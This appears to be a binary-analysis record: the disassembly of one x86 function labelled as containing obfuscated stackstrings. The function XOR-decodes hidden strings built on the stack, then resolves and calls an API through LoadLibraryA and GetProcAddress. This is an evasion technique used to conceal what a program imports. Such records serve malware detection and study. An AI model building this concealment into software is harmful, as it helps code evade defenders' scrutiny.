Function at 0x100295b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, byte [0x101983a8]
push ebx
push ebp
push esi
test al, 1
push edi
mov byte [esp + 0x14], 0xba
mov byte [esp + 0x15], 0xad
mov byte [esp + 0x16], 0x90
mov byte [esp + 0x17], 0x7e
mov byte [esp + 0x18], 0xac
mov byte [esp + 0x19], 0xbf
mov byte [esp + 0x1a], 0xa5
mov byte [esp + 0x1b], 0x62
mov byte [esp + 0x1c], 0x3c
mov byte [esp + 0x1d], 0x9d
mov byte [esp + 0x20], 0xcf
mov byte [esp + 0x21], 0xde
mov byte [esp + 0x22], 0xf5
mov byte [esp + 0x23], 0xc
mov byte [esp + 0x24], 0x9f
mov byte [esp + 0x25], 0x8d
mov byte [esp + 0x26], 0x8b
mov byte [esp + 0x27], 6
mov byte [esp + 0x28], 0x50
mov byte [esp + 0x29], 0xf1
jne 0x100296b1
mov bl, al
push 0xb
or bl, 1
mov byte [0x101983a8], bl
call fcn.1013c2df
add esp, 4
mov dword [0x101983ac], eax
xor edi, edi
mov bl, byte [esp + edi + 0x20]
movsx eax, byte [esp + edi + 0x14]
movsx esi, bl
test esi, esi
jne 0x10029659
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x10029684
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x10029679
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x10029679
mov al, byte [esp + edi + 0x14]
xor bl, al
mov eax, dword [0x101983ac]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xa
jb 0x10029644
mov ecx, dword [0x101983ac]
push 0x10029810
mov byte [ecx + 0xa], 0
call fcn.1013c36b
add esp, 4
mov al, byte [0x101983b0]
mov edx, dword [0x101983ac]
test al, 1
mov dword [esp + 0x10], edx
mov byte [esp + 0x20], 0x3e
mov byte [esp + 0x21], 0x5d
mov byte [esp + 0x22], 0x82
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0xda
mov byte [esp + 0x25], 0xd4
mov byte [esp + 0x26], 0xc7
mov byte [esp + 0x27], 0x2b
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0x45
mov byte [esp + 0x2a], 0x59
mov byte [esp + 0x2b], 0xa2
mov byte [esp + 0x14], 0x6d
mov byte [esp + 0x15], 0x38
mov byte [esp + 0x16], 0xf6
mov byte [esp + 0x17], 0x23
mov byte [esp + 0x18], 0xb3
mov byte [esp + 0x19], 0xba
mov byte [esp + 0x1a], 0xa3
mov byte [esp + 0x1b], 0x44
mov byte [esp + 0x1c], 4
mov byte [esp + 0x1d], 0x15
mov byte [esp + 0x1e], 0x36
mov byte [esp + 0x1f], 0xd1
jne 0x100297c9
mov bl, al
push 0xd
or bl, 1
mov byte [0x101983b0], bl
call fcn.1013c2df
add esp, 4
mov dword [0x101983b4], eax
xor edi, edi
mov bl, byte [esp + edi + 0x14]
movsx eax, byte [esp + edi + 0x20]
movsx esi, bl
test esi, esi
jne 0x10029771
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x1002979c
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x10029791
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x10029791
mov al, byte [esp + edi + 0x20]
xor bl, al
mov eax, dword [0x101983b4]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xc
jb 0x1002975c
mov ecx, dword [0x101983b4]
push 0x10029820
mov byte [ecx + 0xc], 0
call fcn.1013c36b
add esp, 4
mov edx, dword [esp + 0x10]
mov esi, dword [0x101983b4]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x44]
push edx
mov edx, dword [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x44]
push edx
mov edx, dword [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x44]
push edx
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret